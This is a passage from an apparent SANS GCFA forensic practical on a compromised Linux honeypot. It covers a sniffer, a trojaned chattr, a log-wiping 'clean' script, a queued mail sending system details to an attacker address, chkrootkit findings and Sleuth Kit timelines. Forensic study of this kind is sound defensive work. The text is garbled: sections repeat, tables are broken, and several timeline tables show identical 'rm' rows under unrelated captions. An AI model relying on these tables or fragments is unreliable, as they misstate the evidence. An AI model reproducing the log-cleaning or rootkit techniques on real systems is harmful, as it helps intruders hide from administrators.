We can examine the write executable using ld to list directory dependencies, and the strings command to extract text streams from the binary. The suspicious strings are highlighted in red. “cant set promiscuous mode” is probably an error message that would be printed if the program was unable to put the network adapter into promiscuous mode, which would be needed to collect network information not destined for the honeypot host itself. Write is likely a sniffer program. Whether or not it is LinSniffer is at this point impossible to know for sure, however, the implications from the ‘read’ perl script is that it probably is, or at least produces logs similar to LinSniffer. Both read and write have knowledge of tcp.log.

To summarize, these files represent a sniffer program, a parser program, and a log file.

We use the strings command to investigate the contents of the write executable:

```
# root@GCFA ...]$ strings write
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
strcpy
ioctl
stdout
__ctype_b
perror
gethostbyaddr
socket
fflush
alarm
fprintf
__deregister_frame_info
signal
read
ntohs
inet_ntoa
time
fclose
stderr
htons
exit
fopen
_LIB Steele_used
__libc_start_main
__register_frame_info
close
GLIBC_2.1
GLIBC_2.0
PTRh
QVh|
Ih8
t(hv
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
```
We will next inspect the contents of the curatare directory. The first files, named `attrib` and `chattr`, are identical in content, and appear to be a trojaned Linux `chattr` command.

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# strings attrib</th>
<th>grep usage</th>
<th>We extract the usage info from the <code>attrib</code> binary with the <code>strings</code> command</th>
</tr>
</thead>
<tbody>
<tr>
<td>usage: %s [-RV] [-+AacdiasSu] [-v version] files...</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>[root@GCFA bin]# strings ./chattr</th>
<th>grep usage</th>
<th>Here we see that <code>chattr</code>'s usage info is identical, except for a few additional options.</th>
</tr>
</thead>
<tbody>
<tr>
<td>usage: %s [-RV] [-+AacdiasSu] [-v version] files...</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# md5sum attrib</th>
<th>b2969301f79b6e74e5102c4af0b49e1 attrib</th>
<th><code>attrib</code> has the same md5sum hash as <code>chattr</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>md5sum attrib</td>
<td>b2969301f79b6e74e5102c4af0b49e1</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# md5sum chattr</th>
<th>b2969301f79b6e74e5102c4af0b49e1 chattr</th>
<th><code>chattr</code> has the same md5sum hash as <code>attrib</code>.</th>
</tr>
</thead>
<tbody>
<tr>
<td>md5sum chattr</td>
<td>b2969301f79b6e74e5102c4af0b49e1</td>
<td></td>
</tr>
</tbody>
</table>

The next file in the `curatare` directory is the `clean` script. Based upon reading the contents of the instructions, it appears that this script can be used to remove lines containing a keyword specified on the command line to any directory within the `/var/log` directory.

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# cat clean</th>
<th><code>#!/bin/bash</code></th>
<th><code>BLK=''</code></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td><code>RED=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>GRN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>YEL=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>BLU=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>MAG=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>CYN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>WHI=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DRED=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DGRN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DYEL=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DBLU=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DMAG=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DCYN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DWHI=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>RES=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>then</td>
<td></td>
</tr>
<tr>
<td></td>
<td>if $[ $# != 1 ]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>then</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;${BLK}$${WHI}Usage${WHI}: &quot;basename $0&quot; &lt;${WHI}string${WHI}&gt;${RES}&quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;exit&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>fi</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;${BLK}$${RES}&quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;${BLK}$${WHI}Cleaning logs.. This may take a bit depending on the size of the logs.$${RES}&quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>WERD=$(/bin/ls -F /var/log</td>
<td>grep -v &quot;&quot;</td>
</tr>
</tbody>
</table>

---

We will next inspect the contents of the `curatare` directory. The first files, named `attrib` and `chattr`, are identical in content, and appear to be a trojaned Linux `chattr` command.

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# strings attrib</th>
<th>grep usage</th>
<th>We extract the usage info from the <code>attrib</code> binary with the <code>strings</code> command</th>
</tr>
</thead>
<tbody>
<tr>
<td>usage: %s [-RV] [-+AacdiasSu] [-v version] files...</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>[root@GCFA bin]# strings ./chattr</th>
<th>grep usage</th>
<th>Here we see that <code>chattr</code>'s usage info is identical, except for a few additional options.</th>
</tr>
</thead>
<tbody>
<tr>
<td>usage: %s [-RV] [-+AacdiasSu] [-v version] files...</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# md5sum attrib</th>
<th>b2969301f79b6e74e5102c4af0b49e1 attrib</th>
<th><code>attrib</code> has the same md5sum hash as <code>chattr</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>md5sum attrib</td>
<td>b2969301f79b6e74e5102c4af0b49e1</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# md5sum chattr</th>
<th>b2969301f79b6e74e5102c4af0b49e1 chattr</th>
<th><code>chattr</code> has the same md5sum hash as <code>attrib</code>.</th>
</tr>
</thead>
<tbody>
<tr>
<td>md5sum chattr</td>
<td>b2969301f79b6e74e5102c4af0b49e1</td>
<td></td>
</tr>
</tbody>
</table>

The next file in the `curatare` directory is the `clean` script. Based upon reading the contents of the instructions, it appears that this script can be used to remove lines containing a keyword specified on the command line to any directory within the `/var/log` directory.

<table>
<thead>
<tr>
<th>[root@GCFA curatare]# cat clean</th>
<th><code>#!/bin/bash</code></th>
<th><code>BLK=''</code></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td><code>RED=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>GRN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>YEL=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>BLU=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>MAG=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>CYN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>WHI=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DRED=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DGRN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DYEL=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DBLU=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DMAG=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DCYN=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>DWHI=''</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>RES=''</code></td>
</tr>
<tr>
<td></td>
<td>then</td>
<td></td>
</tr>
<tr>
<td></td>
<td>if $[ $# != 1 ]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>then</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;${BLK}${WHI}Usage{WHI}: &quot;basename $0&quot; &lt;{WHI}string{WHI}&gt;{RES}&quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;exit&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>fi</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;${BLK}${RES}&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>echo &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>&quot;${BLK}${WHI}Cleaning logs.. This may take a bit depending on the size of the logs.${RES}&quot;</td>
<td></td>
</tr>
<tr>
<td></td>
<td>WERD=$(/bin/ls -F /var/log</td>
<td>grep -v &quot;&quot;</td>
</tr>
</tbody>
</table>
The remaining files in the curatare directory appear to be variations of the ps and pstree commands, and are possibly trojaned versions, although investigating the files with the strings command did not yield any noticeable evidence suggesting this.

Investigation of the contents of 2\textsuperscript{nd} hidden directory in the root account folder appears to merely have resulted from the attacker's invocation of the ncftp command.

```
[root@GCFA root]# pwd
/mnt/drive/GCFA/media_analysis/gcfa/root/root
[root@GCFA root]# ls -latr .ncftp
total 6
-rwx------ 1 root root 3952 Nov 22 04:25 firewall
-rwxr-x--- 3 root root 1024 Nov 22 04:25 ..
-rwxr-xr-x 2 root root 1024 Nov 22 04:25 .
[root@GCFA root]# file .ncftp/firewall
.ncftp/firewall: ASCII English text
```

User log Evidence
daniel's shell history was left untouched and intact, yielding information regarding the source of his files! Also, this suggests that Daniel may have been born in 1984.

```
[root@GCFA gcfa]# cat ./home/daniel/.bash_history
```

Last command for checking login durations and times are listed by using the last command

```
Last command for checking login durations and times are listed by using the last command
[root@GCFA log]# last -f ./wtmp
[00:03:10] daniel pts/0 statia8.comaltec Sat Nov 22 04:46 - 04:47
(00:08) root tty1 Sat Nov 22 02:37 - down
(00:10) root tty2 Sat Nov 22 02:25 - down
(00:15) root tty1 Sat Nov 22 02:18 - down
(00:17) root tty1 Thu Nov 20 21:24 - down
(1+03:41) reboot system boot 2.4.7-10 Thu Nov 20 20:24 - down
(64+09:20) reboot system boot 2.4.7-10 Sat Nov 22 02:47
(00:09) root tty1 Sat Nov 22 02:25 - down
(00:08) root tty1 Sat Nov 22 02:37 - down
(00:03:10) reboot system boot 2.4.7-10 Thu Nov 20 21:22
```

We use the last command to construct the user login history from the Unix wtmp binary log file.

We verify our present working directory and perform a directory listing on the contents of the hidden .ncftp directory.

We examine the contents of the attackers history file.
Email Activity

We previously noticed that the system had complained of error related to trying to send email in the /var/log/maillog log file. We can inspect the contents of the /var/spool/mqueue directory to determine whether the mail related to the logs still existed at the time of system quarantine. We confirm below that it does. By inspecting the contents of the mail message, we can view the intended recipient address of the mail, danni3ll@yahoo.com.au.

```
[root@GCFA mqueue]# pwd
/mnt/drive/GCFA/media_analysis/gcfa/var/spool/mqueue
[root@GCFA mqueue]# ls -latr
total 4
-rw------- 1 root root 2565 Nov 22 04:47 dfhAMBl7e02150
-rw------- 1 root root 651 Nov 22 10:49 qfhAMBl7e02150
```

```
[root@GCFA mqueue]# cat qfhAMBl7e02150
V4
T1069501627
K1069523380
N6
P572689
I8/7/32135
Mhost map: lookup {yahoo.com.au}: deferred
Fwb
$root@localhost
Sroot
Aroot@ipx-y-z.144.ph.ph.cox.net
RPFD:danni3ll@yahoo.com.au
H??Return-Path: <>
H??Received: (from root@localhost)
   by ipx-y-z-144.ph.ph.cox.net (8.11.6/8.11.6) id hAMBl7e02150
   for danni3ll@yahoo.com.au; Sat, 22 Nov 2003 04:47:07 -0700
H??Date: Sat, 22 Nov 2003 04:47:07 -0700
H??From: root <root>
H??Full-Name: root
H??Message-Td: <200311221147.hAMBl7e02150@ipx-y-z-144.ph.ph.cox.net>
H??To: danni3ll@yahoo.com.au
H??Subject: Linux ipx-y-z-144.ph.ph.cox.net 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 1686 unknown
```

```
[root@GCFA mqueue]# cat dfhAMBl7e02150
inet addr:x.y.z.144 Bcast:x.y.z.255 Mask:255.255.240.0
inet addr:127.0.0.1 Mask:255.0.0.0
ipx-y-z-144.ph.ph.cox.net
Linux ipx-y-z-144.ph.ph.cox.net 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 1686 unknown
4:47am up 2:00, 1 user, load average: 0.27, 0.06, 0.02
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU
WHAT
daniel   pts/0    statia8.comaltec  4:46am 21.00s  0.06s  0.06s
-bash
processor : 0
vendor_id : GenuineIntel
cpu family : 15
model : 2
model name : Intel(R) Pentium(R) 4 CPU 2.80GHz
stepping : 8
CPU MHz    : 2793.705
```

We verify our present working directory
We examine the contents of the mail header file.
We examine the contents of the delayed mail file.
The above email was probably generated by the attacker to automatically summarize compromised system information into a single email account during the installation of their rootkit.

**Chkrootkit Analysis**

The last check we perform is to use the **chkrootkit** script to inspect the contents of the honeypot. `chkrootkit` contains logic capable of detecting a wide number of previously...
analyzed rootkits. We see that `ifconfig` is considered to be infected, probably in a way that prevents `ifconfig` reporting the network card from reporting that it is in promiscuous mode. `netstat` was probably trojaned to prevent the listing of listening network ports that would be used as backdoors. As will be seen below, it is used to conceal an SSH daemon renamed as kflushd listening on port 123.

```
[root@GCFA gcfa]# chkrootkit -r .
... Checking `ifconfig'... INFECTED
... Checking `netstat'... INFECTED
```

**Timeline Analysis**

Timeline analysis will be performed on file-system data and on network packet captures from the bridging firewall.

**File-system based Timeline Analysis**

Filesystem-based Timeline analysis was performed by implementing features of the Sleuth Kit v1.67. To begin the analysis, Brian Carrier’s Sleuthkit was downloaded from [http://www.sleuthkit.org](http://www.sleuthkit.org) along with the md5sum for verification purposes. After download of correct source code was completed and verified, the installation was performed in accordance with the instructions outlined in the INSTALL document contained in the package. After compilation, the executable and manual paths were added to the PATH environment variable for the Unix shell. This was performed to simplify execution commands during analysis.

To prepare the timeline, we extract information from the file-system images via use of the `fls` command. Upon extraction of the time information from the file-system metadata structures into a common file, the `mactime` utility is used to re-organize the data into human readable format. Upon observation of the size of the file, it is deemed favorable to pre-pend each line with a number to ease analysis on the large quantity of data, this is done with the `cat` command, using the `-n` option which pre-pends numbers to the data received on the STDIN file descriptor.

```
[root@GCFA media_analysis]# fls -f linux-ext3 -m /boot/ -r -p partition_1.dd >> honeypot.fls
[root@GCFA media_analysis]# fls -f linux-ext3 -m /usr/ -r -p partition_2.dd >> honeypot.fls
[root@GCFA media_analysis]# fls -f linux-ext3 -m /home/ -r -p partition_3.dd >> honeypot.fls
[root@GCFA media_analysis]# fls -f linux-ext3 -m /root/ -r -p partition_5.dd >> honeypot.fls
[root@GCFA media_analysis]# fls -f linux-ext3 -m /var/ -r -p partition_7.dd >> honeypot.fls
```

We use the `mactime` script to organize the `fls` data extraction into a more readable format. Upon observation of the size of the file, it is deemed favorable to pre-pend each line with a number to ease analysis on the large quantity of data, this is done with the `cat` command, using the `-n` option which pre-pends numbers to the data received on the STDIN file descriptor.

```
[root@GCFA media_analysis]# mactime -g ./gcfa/root/etc/group
[root@GCFA media_analysis]# mactime -g ./gcfa/root/etc/passwd < honeypot.fls > honeypot.timeline
```

Numbers are prefixed to each line in the timeline to provide a quick indexing method.
Opening the timeline shows activity as far back as 1994 spanning to the date of OS media packaging, this data was irrelevant to analysis and was discarded. The first case-relevant data was identified by creation of the attacker’s rootkit as listed below. The meta data associated with the creation would have been captured at time of tar archive.

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Command</th>
<th>User</th>
<th>Rights</th>
<th>Size</th>
<th>Meta Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>168726</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168727</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168728</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168729</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
</tbody>
</table>

Operating system install is initiated as communicated below with the creation of the 5 filesystems: var, root, boot, home, and usr.

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Command</th>
<th>User</th>
<th>Rights</th>
<th>Size</th>
<th>Meta Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>168726</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168727</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168728</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168729</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
</tbody>
</table>

Operating system install lasted almost an hour, the information below represents the end of the operating system installation.

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Command</th>
<th>User</th>
<th>Rights</th>
<th>Size</th>
<th>Meta Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>168726</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168727</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168728</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168729</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
</tbody>
</table>

Upon configuration of the bridging firewall and external monitoring facilities, the honeypot is connected to Internet. This can be identified by the access of network card driver kernel module and by the access of the network connection scripts in /etc/sysconfig/networking.

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Command</th>
<th>User</th>
<th>Rights</th>
<th>Size</th>
<th>Meta Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>168726</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168727</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168728</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>168729</td>
<td>10:41:22</td>
<td><code>rm /etc/nmh/.../curatare</code></td>
<td>root</td>
<td>rwxr-xr-x</td>
<td>1024</td>
<td></td>
</tr>
</tbody>
</table>

Jason_B_Anderson_GCFA

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
The honeypot is directly connected to the internet for 1 hour and 37 minutes prior to compromise. The first sign of attack is the execution of the FTP daemon, `in.ftpd`, which is called by the `xinetd` Linux super-daemon, which is responsible for opening lightweight applications on demand. The attacker uses a wu-ftp exploit, commonly available on the Internet, to compromise the honeypot.

Almost immediately after the compromise, the attacker uses an FTP client to access a remote server for retrieval of the rootkit.

After compromise, the attacker proceeds to create a user account for himself, presumably using his real name, with limited access privileges. We can now confirm that the attacker used the `adduser` command based on the fact that the `/etc/skel` initial user configuration template has been applied to the attackers account.
The attacker installs a rootkit via use of the `install` command, as seen in the network transaction above.

```
173439  Sat Nov 22 2003 04:46:53  25020 mac -rwxr-xr-x daniel 74391
/root/etc/skel/.kde/Autostart
173440  Sat Nov 22 2003 04:46:53  4096 mac d/rwxr-xr-x daniel 43969
/home/daniel/.kde/Autostart
/var/mail -> spool/mail
173442  Sat Nov 22 2003 04:46:53  3511 .a. -rwxr--r-- root 52260
/root/etc/skel/.screenrc
173443  Sat Nov 22 2003 04:46:53  1180 .a. -rwxr--r-- root 28151
/root/etc/login.defs
173444  Sat Nov 22 2003 04:46:53  0 mac -r-------- root 28265
/root/etc/shadow.lock (deleted)
173445  Sat Nov 22 2003 04:46:53  1381 .ac -r-------- root 28172
/root/etc/passwd-
173446  Sat Nov 22 2003 04:46:53  7 .a. l/rwxrwxrwx root 125467
/usr/sbin/adduser -> useradd
173447  Sat Nov 22 2003 04:46:53  1024 .a. d/rwxr-xr-x root 74390
/root/etc/skel/.kde
173448  Sat Nov 22 2003 04:46:53  572 m.c -rwxr--r-- root 28245
/root/etc/group
173449  Sat Nov 22 2003 04:46:53  0 mac -r-------- root 28267
/root/etc/gshadow.lock (deleted)
173450  Sat Nov 22 2003 04:46:53  470 mac -r-------- root 28257
/root/etc/gshadow
/root/etc/skel/.bash_logout
173452  Sat Nov 22 2003 04:46:53  0 mac -rw-r--- daniel 44186
/var/spool/mail/daniel
173453  Sat Nov 22 2003 04:46:53  124 .a. -rwxr--r-- root 52212
/root/etc/skel/.bashrc
173454  Sat Nov 22 2003 04:46:53  4096 mac d/rwxr-xr-x daniel 14657
/home/daniel/.kde
173455  Sat Nov 22 2003 04:46:53  820 .a. -rwxr--r-- root 52259
/root/etc/skel/.emacs
173456  Sat Nov 22 2003 04:46:53  135 mac -rwxr--r-- daniel 43970
/home/daniel/.Autostart/Autorun.desktop
173457  Sat Nov 22 2003 04:46:53  96 .a. -r-------- root 92370
/root/etc/default/useradd
173458  Sat Nov 22 2003 04:46:53  191 m.c -rwxr--r-- daniel 58629
/home/daniel/.bash_profile
173459  Sat Nov 22 2003 04:46:53  0 mac -r-------- root 28266
/root/etc/group.lock (deleted)
173460  Sat Nov 22 2003 04:46:53  124 m.c -rwxr--r-- root 58630
/home/daniel/.bashrc
173461  Sat Nov 22 2003 04:46:53  941 .ac -r-------- root 28255
/root/etc/shadow-
173462  Sat Nov 22 2003 04:46:53  191 .a. -rwxr--r-- root 52211
/root/etc/skel/.bash_profile
173463  Sat Nov 22 2003 04:46:53  3511 mac -rwxr--r-- daniel 58631
/home/daniel/.screenrc
173464  Sat Nov 22 2003 04:46:53  52236 .a. -rwxr-xr-x root 125479
/usr/sbin/useradd
173465  Sat Nov 22 2003 04:46:53  24 mac -rwxr--r-- daniel 58628
/home/daniel/.bash_logout
173466  Sat Nov 22 2003 04:46:53  381 mac -rwxr--r-- daniel 43971
/home/daniel/.kde/Autostart/.directory
173467  Sat Nov 22 2003 04:46:53  1024 .a. d/rwxr-xr-x root 52209
/root/etc/skel
173468  Sat Nov 22 2003 04:46:53  381 .a. -rwxr--r-- root 74392
/root/etc/skel/.kde/Autostart/.directory
---------------------
```

The attacker installs a rootkit via use of the `install` command, as seen in the network transaction above.
<table>
<thead>
<tr>
<th>Path</th>
<th>Size</th>
<th>Mode</th>
<th>Owner</th>
<th>Group</th>
<th>Permissions</th>
<th>Uid</th>
<th>Gid</th>
<th>Size (bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/lib/libc/libph</td>
<td>45948</td>
<td>.a. -/rwxr-xr-x root root 31640</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/dir</td>
<td>45948</td>
<td>mac -/rwxr-xr-x root root 97255</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libvbd</td>
<td>4822</td>
<td>.a. -/rwxr-xr-x root slocate 31724</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/locate</td>
<td>1259</td>
<td>.ac -/rwxr-xr-x root root 16224</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../curatare/sshd</td>
<td>63180</td>
<td>.a. -/r-xr-xr-x root 26126</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/tmp/ccPSepro.ld (deleted-realloc)</td>
<td>24752</td>
<td>.a. -/rwxr-xr-x root 127714</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/sbin/ifconfig</td>
<td>15</td>
<td>m.c -/r-w-r-- root root 97262</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/libf</td>
<td>1024</td>
<td>m.c d/rwxr-xr-x root 48352</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh</td>
<td>84568</td>
<td>..c -/rwxr-xr-x root root 16223</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../curatare/ps</td>
<td>1024</td>
<td>.ac d/rwxr-xr-x root root 16222</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../curatare</td>
<td>32768</td>
<td>m.. mdrwxr-xr-x root root 31297</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/bin</td>
<td>24822</td>
<td>.a. -/rwxr-xr-x root root 31690</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/pstree</td>
<td>34924</td>
<td>.a. -/r-xr-xr-x root root 31682</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/top</td>
<td>49</td>
<td>mac -/r-w-r-- root root 97260</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libn</td>
<td>14924</td>
<td>mac -/rwxr-xr-x root root 33997</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/bin/strings</td>
<td>1084</td>
<td>.ac -/rwxr-xr-x root root 16225</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../curatare/clean</td>
<td>63180</td>
<td>.a. -/r-xr-xr-x root root 26126</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/bin/ps</td>
<td>63180</td>
<td>mac -/r-xr-xr-x root root 97250</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/libp</td>
<td>4096</td>
<td>m.c d/rwxr-xr-x root root 97247</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/libf</td>
<td>51164</td>
<td>m.c -/rwxr-xr-x root root 97257</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/libfc</td>
<td>12284</td>
<td>mac -/rwxr-xr-x root root 97253</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/libpt</td>
<td>511</td>
<td>mac -/r-w-r-- root root 97263</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/libah</td>
<td>4060</td>
<td>m.c -/rwxr-xr-x root root 66312</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../read</td>
<td>82812</td>
<td>mac -/rwxr-xr-x root root 97256</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/liblsf</td>
<td>3229</td>
<td>mac -/rwxr-xr-x root root 97258</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libc/libso</td>
<td>7144</td>
<td>.ac -/rwxr-xr-x root root 16227</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/root/etc/nmh/.../curatare/chattr</td>
